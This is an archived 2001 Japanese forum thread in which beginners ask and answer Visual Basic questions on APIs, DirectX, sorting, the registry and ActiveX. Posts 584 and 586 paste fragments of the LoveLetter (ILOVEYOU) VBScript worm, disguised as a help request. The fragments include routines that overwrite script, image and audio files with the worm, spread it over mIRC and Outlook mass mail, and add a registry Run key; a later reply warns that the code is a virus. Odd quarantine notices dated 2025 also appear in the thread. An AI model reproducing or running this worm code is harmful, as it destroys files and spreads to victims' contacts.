>>488 どうもありがとございます
やっぱDirectX使わなくてはいけなのかなあ
なるべくランタイム減らす方針で行きたい場合の良い方法あれば御教授ください
498 :
名無しさんi486 :2001/01/19(金) 10:47
APIを使いたいのですが、これを初めにやっとけ、みたいなサンプルは ありませんでしょうか。Tips教えるサイト見てもなかなか理解できないもので…。
自己解決しました。Floodfillというやつを教科書通りにやったらできましたので自信が付きました。
500 :
498 :2001/01/19(金) 21:04
Private Sub Form_Click() a = PlaySound("c:\winnt\media\chattag.wav", 0, SND_ASYNC Or SND_LOOP) End Sub と書いたのですがループされてくれません。何故なのでしょうか?
501 :
デフォルトの名無しさん :2001/01/20(土) 01:15
>>500 ちゃんとループするぞ!、しかもプログラム終了してもとまらないじゃないかゴラァ!
502 :
デフォルトの名無しさん :2001/01/20(土) 01:20
>500 VBってそういう書き方で良いのか? 楽だな〜 VCだと c:\\winnt\\media\\chattag.wav って書かないと逝けないんだけど。
c:/winnt/media/chattag.wavって書けば
504 :
500 :2001/01/20(土) 09:55
APIの宣言はAPIビューアでコピーしたのを標準モジュールに 貼っただけです。 あと\ではなく/でもできるのですね。 とりあえず過去ログとお勉強サイト廻ってみますね。
505 :
デフォルトの名無しさん :2001/01/20(土) 23:00
インターネットコントロールを使用するときに、BASIC認証のIDとPASSを相手のサーバへ渡すにはどうしたらいいのでしょうか? サーバはApacheです。
506 :
デフォルトの名無しさん :2001/01/22(月) 18:16
507 :
デフォルトの名無しさん :2001/01/22(月) 23:14
age
508 :
デフォルトの名無しさん :2001/01/25(木) 20:41
VBのDirectSoundで質問です。 Call m_dsBuffer.Play(0) でループしないで再生するように宣言したのですが何故かループしてしまいます。 何故ですか? 解決方法を教えて下さい。
509 :
デフォルトの名無しさん :2001/01/27(土) 00:14
VB度素人です DirectXの事で質問させてください。 Directxのゲームを作ってるのですがゲームが進行してクリアー、ゲームオーバー時にタイトル画面に 戻る方法ってどうやったらいいんでしょうか? Do...loopで大きなループ文を作ろうとしてもうまくいきません。 Directxを最初の状態まで持っていける方法とかあったらいいんですけど。 (リフレッシュみたいなの。)
510 :
デフォルトの名無しさん :2001/01/27(土) 00:15
VB度素人です DirectXの事で質問させてください。 Directxのゲームを作ってるのですがゲームが進行してクリアー、ゲームオーバー時にタイトル画面に 戻る方法ってどうやったらいいんでしょうか? Do...loopで大きなループ文を作ろうとしてもうまくいきません。 Directxを最初の状態まで持っていける方法とかあったらいいんですけど。 (リフレッシュみたいなの。)
511 :
デフォルトの名無しさん :2001/01/27(土) 01:31
リフレッシュって一回終了して即座に起動するって事?
512 :
sine :2001/01/27(土) 02:34
3とか4とか、ばっかじゃねえの。 ごめんで済んだら警察イランのじゃっていうのとおんなじ。 調べろですんだら掲示板いらんのじゃ。 調べた?とかいってんならその場でスパッと教えなさい。 どあほう。
513 :
デフォルトの名無しさん :2001/01/27(土) 02:43
>512 まぁまぁ落ちついて。 一発抜いてきなよ!
514 :
名無しさんi486 :2001/01/27(土) 04:31
初心者です。 テトリスを作っていて、PictureBoxにマス目を書いて そこにFloodfillで塗りつぶしているのですが処理落ちして しまいます。 いい方法ないでしょうか?
515 :
ちょい疑問 :2001/01/27(土) 18:36
あるクラスモジュール(HTMLのテキストを入れると、タグごとに配列の中に仕分けしたりするもの)を作成したのですが、そこでのエラーが理解不明で、どなたか分かる方は居りませんか? エラーの文章は 「同じプロパティに対するプロパティ プロシージャの定義が一致していません。または省略可能なパラメータ、ParamArray が含まれています。」 です。 以下がそーすです。 Private Type HtmlSection Section_StartPoint As Integer Section_EndPoint As Integer Section_Data As String Section_No As Integer Section_EditFlag As Boolean End Type '/*プロパティ値のプライベート記憶域 Private mHTMLSEC() As HtmlSection Private mTagCount As Integer '*/ Public Property Get SECdata(ByVal i As Integer) As String SECdata = mHTMLSEC(i).Section_Data End Property '/*ここから Public Property Set SECdata(ByVal i As Integer, VALUE As String) 'ここまで*/ mHTMLSEC(i).Section_Data = VALUE End Property Property Letにするとエラーなしで通るのですがなぜ?? クラスモジュールの作成に関してまだ初心者なのでProperty Set とProperty Letの違いってなんでしょうか?MSDN見てもいまいち分からなくて… とりあえずLetを使いましたが、Setだとなぜエラーが出たのでしょうか?
516 :
ちょい疑問 :2001/01/27(土) 22:20
514> 動いているテトリスに関してはシェイプなどのコントロールを使ったほうがよいのではと考えました。 何しろ描画が以上に早いので、 LINEDDなんとかとかいうAPIを使って高速に描画したりもできますけど、テトリスぐらいなら、前述の方法で行なう方がよいと思われます。 たしかその方法で私も作りました。(^_^)
517 :
ちょい疑問 :2001/01/27(土) 22:22
自分であげあし 誤>何しろ描画が以上に早いので 正>何しろ描画が異常に早いので
518 :
デフォルトの名無しさん :2001/01/27(土) 23:15
>>515 MSDNより簡単に説明しろってか、難しいね(笑)
Property Let はあなたが使っている通り、プロパティに値を
設定するために使います。
Property Set はオブジェクトのインスタンスへの参照を設定
するために使います。
値を取得するのは、どちらもProperty Get
たとえば
Public Property Set SetData(buf As Object)
となっていれば
Set ObjOfYourClass.SetData = buf;
のように、buf(なんかオブジェクト)への参照を設定
するためのメソッドを作るために使います。
つか、これが使えてこそオブジェクト指向。
この意味が分からないなら、クラスを使う意味なしでーす。
(こんな事いったら、またイラン煽りうけそう)
519 :
デフォルトの名無しさん :2001/01/28(日) 05:51
スタートメニューにあるファイル名を指定して実行のように、テキストボックスに C:\WINDOWS\レッド タイル.bmpなどと入力して、コマンドボタンをクリックすると 指定したファイルがウインドウズで関連付けされたアプリケーションで開くよう にしたいのですが(出来れば実行ファイルがあるフォルダからの相対アドレスで) どのようにしたらよいのでしょうか? すいませんが教えてください。
520 :
デフォルトの名無しさん :2001/01/28(日) 07:04
>519 ShellExecute
実はここって、fjよりも皆親切だったりしないか?(笑
522 :
デフォルトの名無しさん :2001/01/28(日) 11:57
fjなんかと一緒にするなよ・・・。 あそこは自分を正常だと思ってる基地外が多すぎる。
fj < 2ch 安定。
524 :
514 :2001/01/28(日) 14:57
>>516 なるほど、使わせていただきたいところですが
もう殆どやってしまいました。
細かいところやりながら挑戦してみるつもりです。
525 :
ちょい疑問 :2001/01/28(日) 17:51
>518 ありがとうございました。 なんとか理解しました。 >524 >もう殆どやってしまいました。 とありますけど、ほとんど完成しているっていうことでしょうか。 じつはそうかなーとは思っていたのですが,コメントさせていただきました。 時間をかけて作ったソースを捨てるのはつらいものです。 ただ、時には1から作りなおした方がよい時もありますよ。(仕事以外のプログラムであればその方が勉強になることも…) でも、やれる所までやるのも楽しいですね。頑張ってください。
526 :
赤子 :2001/01/28(日) 18:04
MSDNってメチャみにくいですね アレがプログラマ的デザイン能力の欠如と言う奴の典型ですか おかげでサッパリ標準関数すら覚えられません
ふつう、MSDNを見る前に標準関数ぐらい覚えているよ。
528 :
519 :2001/01/28(日) 23:19
>>520 どうもMSDNやインターネットで使い方を見ながらやってみます
529 :
デフォルトの名無しさん :2001/02/01(木) 18:23
PictureBoxやImageなどを重ねるとき、表示の優先順位は付けられるのでしょうか。 あとコントロールがPictureBoxの中に入ったり出たりします。よくわかりません。
すみません。前面、背面のやり方はわかりました。 コントロールを右クリックしてレイヤーの前面背面のようにやればよいのですね。 しかしいかんせんPictureBoxの中に入るか入らないかのやり方はわかりません。
VBばっかやってちゃ遺憾ゾ。
すみません、また自己解決しました。PictureBox上で貼り付けやればいいんですね。
533 :
デフォルトの名無しさん :2001/02/03(土) 01:22
プロシージャから抜けるにはどうすればよいのでしょうか。
534 :
ちょい疑問 :2001/02/03(土) 17:16
533>プロシージャから抜けるにはどうすればよいのでしょうか 質問の意味がいまいち分からないけれど Exit function Exit sub Doevents入れまくって、 タイマーで割り込みなど… ってかんじでしょうか。 もしこれで答えになっていなかったら誰かフォローよろしく(^o^)
535 :
532 :2001/02/03(土) 20:43
Exit Subで出来ました。ありがとうございます。
マニュアルを読まないのはユーザーだけで十分だ!!!
537 :
名無しさん :2001/02/03(土) 23:55
f(x)=x^2-4x+3において、f(x)=0をニュートン法と2分割法で解く方法がわかんないんです。 力を貸していただきたいのですが。
538 :
デフォルトの名無しさん :2001/02/04(日) 22:53
MSDNライブラリに載ってるソートのサンプルを見ているんですけど、 ・バブル ソート ・セレクション ソート ・シェル ソート でシェル ソートが一番速いって書いてありますが、 ・バブル ソート、セレクション ソートが優位な状況って どんな時ですか?
539 :
デフォルトの名無しさん :2001/02/04(日) 22:56
>>538 CPUの性能がいい時代に、あまり関係ありません
540 :
デフォルトの名無しさん :2001/02/04(日) 23:14
適当な事言うな。>539 アルゴリズムとデータ構造の選択によってはスピードに数万倍以上差が出る事もあるぞ。
やべ、ここVBスレじゃん(笑
543 :
539 :2001/02/04(日) 23:37
VBで短期間で作るのにいちいちソートなんて考えてる人いるの?
いないです
545 :
ちょい疑問 :2001/02/05(月) 13:15
ラディックソート クイックソート ヒープソート(ん、用途から考えると違うかな) これらが早い クイックソートがお奨めです。 >543 いますよ。がっこの先生とか(笑) 他にもいます。VBしか知らない人とか。その中でオプティマイジングするのは当然でしょ。 自分で公開したソースがバブルソートでソートされてたら素人っぽくて情けないでしょう。 ちょっと見栄はってクイックソートになおした方がいいじゃないですか。 どこを直しましたか?って言われた時ちゃんと高速化の理屈がつくじゃないですか。 たとえバグで遅かったとしても… >538 シェルソートや他の高度なソートはソースが一発で見て分かりにくい。 バブルソートは分かりやすい事が特徴。 少ないデータのソートを行なう時はシェルソートなんか使いません。 ソースが分かりにくくなるだけだから。 (っていうか私だって高速ソートを空では言えません。言える人はすごいですね。) 速くしたいときは参考書とかMSDNとか眺めながらクイックソートを使い、考えている時はバブルかな。 ある程度勉強したらどっちも関数にまとめとけばOKです。
546 :
デフォルトの名無しさん :2001/02/05(月) 15:41
>>545 >速くしたいときは参考書とかMSDNとか眺めながらクイックソートを使い、考えている時はバブルかな。
>ある程度勉強したらどっちも関数にまとめとけばOKです。
このあたり、あんまり現実に即したアドバイスじゃないな。
VBはどうだか知らないけど、大抵の環境だとソートはライブラリを呼び出すだけ。
ソートの処理を自分で書くことなんてほとんどない。
>(っていうか私だって高速ソートを空では言えません。言える人はすごいですね。)
どうでもいいけど、アルゴリズム本なんかでソートを勉強してれば
クイックソートくらい空で書けるでしょ。
547 :
デフォルトの名無しさん :2001/02/05(月) 15:48
VBで他のプログラム、例えばエクスプローラーが起動された事を知るには、 どのようなコードを書けばよろしいのでしょうか? どなたかご存知の方、教えて頂けませんでしょうか?
549 :
デフォルトの名無しさん :2001/02/05(月) 21:58
メッセージボックスが表示されてから、タイマーを使って、 5秒後にOKをクリックした状態でメッセージボックスを自動的に終了するには どのようにしたら宜しいのでしょうか?
550 :
デフォルトの名無しさん :2001/02/07(水) 17:27
データベースにデータを登録するプログラムを作りたいと思っているのですが ソフトウェアのセットアップのように画面の下に「次へ」や「戻る」のコマンドボタン があって、画面上部のほうにテキストボックス等を配置して、「次へ」を押すたびに 上部だけ切り替えていくにはどのようにやったらよいのでしょうか
551 :
デフォルトの名無しさん :2001/02/08(木) 17:48
ゲームなどでタイマーのインターバルは最高でどのくらいにしていますか? 自分は今まで100でしたが33にしてみました。
シコシコとVisibleを切り替えるのがいいんじゃないの? フレームでくくっとくとかして
554 :
デフォルトの名無しさん :2001/02/10(土) 22:05
MSDNライブラリの[Platform SDK: Windows Sockets]に出てくる関数が APIビューアで出てこないんですけど、全部自分で考えて書けってことですか?
555 :
デフォルトの名無しさん :2001/02/10(土) 23:59
age
556 :
デフォルトの名無しさん :2001/02/11(日) 00:28
>549 WSHのコンポーネントでタイマー付きMsgBoxが提供されていたりする...
557 :
名無しさんi486 :2001/02/11(日) 19:32
以前にここの掲示板で、プログラムの実行速度の計測は timeGetTimeよりQueryPerformanceCounterを使ったほうが精度が高いと教えて もらったんですが、その時にOSのオーバヘッド部を削る処理をしないと正確じゃ ないって言われたんですけど、その処理は難しいのでしょうか?
558 :
デフォルトの名無しさん :2001/02/13(火) 15:26
RegQueryValueEx関数で、実行時にエラーが出てしまうんですけど どこが悪いのでしょうか? strRootKey・・・HKEY_LOCAL_MACHINE strSubKey・・・SOFTWARE\a strEntry・・・hoge ------- lngnSize = 1024 strData = String(lngnSize, 0) 'KeyOpen lngRet = RegOpenKeyEx(strRootKey, strSubKey, 0, KEY_READ, lngHandle) If lngRet <> ERROR_SUCCESS Then Exit Function 'QueryRead lngRet = RegQueryValueEx(lngHandle, strEntry, 0, REG_SZ, strData, lngnSize) If lngRet <> ERROR_SUCCESS Then Exit Function ------ lngRet = RegQueryValueEx・・・実行時に"***を参照しましたがReadになれませんでした" で終了してしまいます。
解決しました。 RegQueryValueEx(lngHandle, strEntry, 0, REG_SZ, ByVal strData, lngnSize)
560 :
デフォルトの名無しさん :2001/02/13(火) 19:36
久しぶりに自己解決した人見た
561 :
普通のOL :2001/02/17(土) 00:14
右クリックに項目を追加する方法を教えてください。 VBでは無理ですかね? C何ですかね?
562 :
デフォルトの名無しさん :2001/02/17(土) 02:10
IContextMenu を使うには何を参照設定すればよいのでしょう。
563 :
VB初心者以前 :2001/02/18(日) 03:58
完動のはずの画面が、客んとこのネットワークに繋ぐと実行時エラー(ワトソン)発生! メッセージによると、どうやらメモリの内容をぶち壊してるらしいんだが、 問題の端末を持ち帰って、開発環境のネットワークに接続してもまったく再現されず。 周りのVB使いをつかまえて聞いてみたところ、「根本的解決にならないけど、 ローカル変数をグローバルにすると直ることもあるよ」と言うが、結局直らず。 客んとこと開発環境で差異があるとすれば、オラクルDBを突つく「TUXEDO」とかいう ミドルウェアの接続先のサーバぐらいだけど、そっちの担当者に原因を求めても 「な訳ねーだろ」と一蹴される始末。 こういう不可解な実行時エラーを追跡するのに、良い方法ってあるんでしょうか? 似たような経験された方、ご意見お願いします。 #支離滅裂で御免なさい
VBを捨てる。(究極) 実行ファイルを細かく分割する。 Set Obj = Nothingで不要なリソースを解放する。 ネットワークに関連があるみたいだからそのドライバを新しいものに 入れ替えてみる。 「デバッグ情報を含む」でコンパイルしてVCのデバッガで追いかけてみる。
565 :
デフォルトの名無しさん :2001/02/18(日) 18:38
会社の先輩が、「値渡し使ったら処理遅くなるから全て参照渡しで渡せ」って 言っているんですけど本当ですか?
>>563 それって、VBが原因か!?
その環境で、実際にどの程度のアプリが動くのか、
そっちのほうが問題では?
どういうアプリをどういう構成でどういう機器に入れてるのか
わからないけど、OSのバージョンとか、設定も大丈夫?
567 :
tanpopo :2001/02/19(月) 04:46
MScommを使ってRS232C:プリンタを制御しようとしてるんですが、 ステータスが上手く拾えません。 何か、手がかりがありましたら、よろしくお願いします。 (MScommを使うこと自体間違いだったりして・・・。)
568 :
デフォルトの名無しさん :2001/02/19(月) 07:50
>>565 やってみれば?
byval と byref使って
569 :
デフォルトの名無しさん :2001/02/19(月) 08:30
570 :
>561 :2001/02/19(月) 12:30
571 :
デフォルトの名無しさん :2001/02/19(月) 22:27
Dim i As Integer この場合iとAsの間は半角スペースじゃなくタブであけるのが普通 って会社の社長に言われたんですけど本当ですか?
シャチョウノイウコトハキイトケ
573 :
デフォルトの名無しさん :2001/02/20(火) 18:47
誰かVBでCOBOLみたいに、集団項目を使って配列から一気に変数へ 送る方法知っていますか??おしえて〜!(>_<)
集団配列ってなんですか?
ごめん集団項目。 名前からして構造体みたいなの??
576 :
デフォルトの名無しさん :2001/02/20(火) 19:08
578 :
574 :2001/02/20(火) 19:14
固定長ファイルを読み込んで構造体に格納、だったらrandamでファイル 開いてgetで読み込めば手間いらずですけど。 すでにメモリ上にあるのを構造体に格納、だったら知りません。
579 :
デフォルトの名無しさん :2001/02/21(水) 12:58
_WIN32_IE=0x0500 時の NOTIFYICONDATA 宣言はこれでいいのでしょうか? cのunionをvbで書く方法がよくわかりません。 '--- vb (module1.bas) Type NOTIFYICONDATA cbSize As Long hWnd As Long uID As Long uFlags As Long uCallbackMessage As Long hIcon As Long szTip As String * 128 dwState As Long dwStateMask As Long szInfo As String * 256 uTimeout As Long uVersion As Long szInfoTitle As String * 64 dwInfoFlags As Long End Type // --- c (shellapi.h) typedef struct _NOTIFYICONDATAA { DWORD cbSize; HWND hWnd; UINT uID; UINT uFlags; UINT uCallbackMessage; HICON hIcon; #if (_WIN32_IE < 0x0500) CHAR szTip[64]; #else CHAR szTip[128]; #endif #if (_WIN32_IE >= 0x0500) DWORD dwState; DWORD dwStateMask; CHAR szInfo[256]; union { UINT uTimeout; UINT uVersion; } DUMMYUNIONNAME; CHAR szInfoTitle[64]; DWORD dwInfoFlags; #endif } NOTIFYICONDATAA, *PNOTIFYICONDATAA;
VBでunionはできないのでは
581 :
デフォルトの名無しさん :2001/02/22(木) 16:15
582 :
デフォルトの名無しさん :2001/02/22(木) 20:08
Object 型のデータに代入されているインターフェイスポインタを Long 型で取り出すことは出来ないですか? FolderItem オブジェクトをどうしてもアイテムIDリストとして 取得したいのです。
583 :
ひみつの検疫さん :2025/02/17(月) 01:22:16 ID:MarkedRes
汚染を除去しました。
584 :
デフォルトの名無しさん :2001/02/23(金) 01:42
e) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";
http://www.mirc.com " scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER
585 :
ひみつの検疫さん :2025/02/17(月) 01:22:16 ID:MarkedRes
汚染を除去しました。
586 :
デフォルトの名無しさん :2001/02/23(金) 01:43
(39))"&vbcrlf& _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _ "aw=0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=1) then"&vbcrlf& _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit = CreateObject(@
[email protected] @-@)"&vbcrlf& _ "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>" dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") set fso=CreateObject("Scripting.FileSystemObject") set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub
</script>
以上です。
長くなりましたがよろしくお願いします。 ウフ。
Web上では動きません。 ローカルで動きます。 さようなら。
583はウィルスです。決して実行しないように。
しかし力わざというか、地道なソースだね
VC++6.0でつくったActiveXコントロールを Word等に貼り付け、VBAからActiveXのコントロールで用意していた メソッドにアクセスして値を得たいと思います。 VBEのオブジェクトブラウザでクラスのメンバを確認できるのですが、 自作のメンバ関数が実行されません。 AboutBoxは実行されるのですが。 自作のメンバ関数が実行されるには どうしたらよいかお知恵を恵んでください。 よろしくお願いします。
591 :
デフォルトの名無しさん :2001/02/26(月) 18:53
実行されないというのは、知らん顔されているのですか? それともエラーがでる? だいたい、実行されないというのはどのように判断したの? VC++側でブレークポイントにヒットしないとか? それともなんにもおきないので呼ばれていないのだろうという推測?
592 :
デフォルトの名無しさん :2001/02/26(月) 19:23
583って、かの有名なLoveLetterウイルスなの? これって本物? あの騒ぎの当初、見てみたかったのだけど、うちの周りで受信した人 いなかったんだよなぁ。本物ならうれしいが。 しかし、VB SCRIPTだったんだぁ。 騒ぎの割に、技術的に大したことしてないんだね。 やっぱセキュリティーホールは使用者にあるんだ。
593 :
フォルダの複数選択 :2001/02/26(月) 21:30
ファイルリストボックスコントロールの マルチセレクトプロパティを標準、 又は拡張にしたらコントロールに表示されている ファイルの複数選択が可能ですよね? そんな要領でフォルダの複数選択がしたいのです。 (ファイルリストボックスにはフォルダは表示されない) ディレクトリリストボックスコントロールには マルチセレクトプロパティがないので複数選択 出来ません。コモンダイアログコントロールも フォルダやファイルの表示はしますが、 複数選択は出来ません。 で、そういう処理が可能なAPIなり (Win32APIリファレンスにはなかったですが) コードなりあったら教えて下さい。 (OCX、クラス等ののってるURLとかだったらもっと いいなみたいな・・・(^^;)) よろしくおねがいします。
594 :
中ボタンの矢印 :2001/02/27(火) 02:23
>しかし、VB SCRIPTだったんだぁ VBScript と書きましょう。 ところで中ボタンのクリック後に出るへんてこな矢印を 出なくするにはどうすればよいでしょうか。 クリックされたことだけは検出させたいのでフックして 破棄ってのは無しね。
596 :
デフォルトの名無しさん :2001/02/27(火) 15:30
自作のアプリケーションを作り、ディストリビューションウィザードで セットアップ用のファイルを作りました。 これを Windows2000 の「制限ユーザ(Users グループ」の権限のユーザでも インストールできるようにする方法はあるでしょうか? ディストリビューションウィザード内で単純に WinSysPathSysFile を AppPath などに変更するなどの方法では無理でした。 よろしくお願いします。
597 :
名無しさん@お腹いっぱい。 :2001/02/27(火) 15:46
ポスペの板でもお尋ねしてますが メールの調子がおかしいんです。 受信にはなんら問題ないんですが、送信に異常に時間がかかり 正体不明の添付ファイルを勝手に同時送信してしまいます。 ウイルスのチェックをしてみろ!とのことで、検索して見つけた ページに行こうとすると『不正な処理をしています』云々で 切断されてしまいます。 これってウイルスの仕業でしょうか わたしはどうしたらいいんでしょうか?
598 :
デフォルトの名無しさん :2001/02/27(火) 16:49
>>590 =
>>595 で、エラーが表示されて、呼ばれていないことを確認したんですね?
呼ばれたけどエラーが表示されているんじゃなくて。
エラーの表示の内容が気になるけど多分「オートメーションエラー」なんだろうな。
呼ばれているけどエラーなら、メソッドがエラー返しているのでは?
コントロールというくらいなんだからインプロセスサーバなんだろうが
インプロセスサーバが呼ばれない理由って
スレッディング関連の問題とTypeinfoの問題くらいしか想像つかない。
VBAごときでスレッドの問題が発生するとも思えないし、Typeinfoかな?
MFCですか?ATLですか?それとも初めからごりごりつくっているの?
一からAppWizardが吐き出したところからはじめて、ClassWizardで空のメソッドを作成。
そこから呼ばれるかどうか確認するというのはどう?
>>596 基本的に一般ユーザがインストール作業をすることは出来ない。
んなことを許可したらセキュリティも糞もない。
方法はあるけど結局ログオンし直させるのにほぼ近い。
1. Adminのユーザ名とパスワードを入力させて、LogonUser
2. 1で得たhTokenでCreateProcessAsUserで問題となる処理のプロセスを起動する。
でもCreateProcessAsUserで作成したプロセスはデスクトップを持てないので
ユーザとの入出力はできないとおもった。(これもセキュリティ上の理由から)
でもなんでこんなことしようとしているの?
クライアントの要求?んなこと要求してくる馬鹿クライアントには喝!
>>598 ActiveXコントロールコンテナテストだと
ClassWizardで
コンパイル後の修正や継ぎ足しで付加したプロパティやメソッドが
反映されているのですが、
それをWordなどで貼り付けた後にプロパティをみると
反映されてなかたりします
600 :
デフォルトの名無しさん :2001/02/28(水) 21:48
VB4で作成したアプリケーションは Windows2000では実行できないと聞いたんですけど 本当ですか?
601 :
デフォルトの名無しさん :2001/02/28(水) 23:13
602 :
デフォルトの名無しさん :2001/02/28(水) 23:16
603 :
デフォルトの名無しさん :2001/03/01(木) 11:35
>>600 VB4の16ビット版で作った奴の事じゃない?
VB6で作成したアプリケーションは Windows3.1では実行できないと聞いたんですけど 本当ですか?
605 :
独学初心者 :2001/03/02(金) 00:34
VBを独学で勉強しています。 「かんたんプログラミング」というシリーズのテキストを買ったのですが (基礎編、コントロール編、応用編の3冊があります)、このような テキストに書いてあることをマスターすれば、どの程度のレベルにある と言えるんでしょうか?
まずやってみてから言え。>605
>>600 4.0はコモンダイアログまわりがうまく動かないことがあるらしい。多分これは既出だけど。
・・・というか、4.0の開発環境ってWin98以降ではやや不安定な気がする…
608 :
デフォルトの名無しさん :2001/03/02(金) 15:25
VB5のラーニングエディションを購買したんですけれどんも アクティヴXとやらが使えないと聞いたんですけれども アクティブXを使うとどういったことが出来るんですか?
609 :
デフォルトの名無しさん :2001/03/02(金) 17:37
610 :
608 :2001/03/02(金) 21:29
>>609 多くは知らないのですが
ActiveX関係で不自由があるらしいとの事です
ActiveXにはどのような可能性があり
ActiveXが使えないとどのようなデメリットが生じるのでしょうか?
611 :
デフォルトの名無しさん :2001/03/03(土) 00:20
612 :
デフォルトの名無しさん :2001/03/05(月) 00:06
A=0 B=Iif(A<>0,1/A,0) これでエラーが出るのって仕様なのかなぁ?
613 :
名無し~3.EXE :2001/03/06(火) 15:09
>>612 そんな除算ができる計算機があるなら知りたい。
>>612 Iifの実装は知らないが、関数の形をしてるってことは
実行前に引数を全部評価するんじゃないのか?
>>614 コンパイルは通るよ。
実行時にエラーになるけど。
つーかさ、0で割ってんだからエラーになって
当たり前でしょ。
>>610 ActiveXの形で出回っているライブラリが結構多く、それらが
使用不可…、ってところか?本当に使えないのなら。
618 :
デフォルトの名無しさん :2001/03/07(水) 13:42
テキストボックス内の文字列の一部分だけ色を変えたいけど できますか?
>>618 RichTextBoxのSelColorとか。
620 :
618 :2001/03/07(水) 17:08
621 :
デフォルトの名無しさん :2001/03/09(金) 06:31
access97のVBAの勉強中で恐縮なんですが、 ○ Forms![フォーム1]![テキスト0] = Forms(0).Name × Forms![フォーム1]![ラベル0] = Forms(0).Name このような時、ラベルのcaptionを書きかえるにはどうすればよろしいのでしょうか?
622 :
デフォルトの名無しさん :2001/03/09(金) 07:03
Forms![フォーム1]![ラベル0].text = Forms(0).Name これでどう? AccessVBAではtextだった気がする。 うろ覚えだけど。
623 :
662 :2001/03/09(金) 07:07
あ、textじゃなくてvalueだったかな? ごめんよく覚えてないや。
624 :
621 :2001/03/09(金) 07:37
>>622 レスありがとうございます。
早速やってみているのですが、どちらでもエラーになってしまいます。
もう一回やってみます。
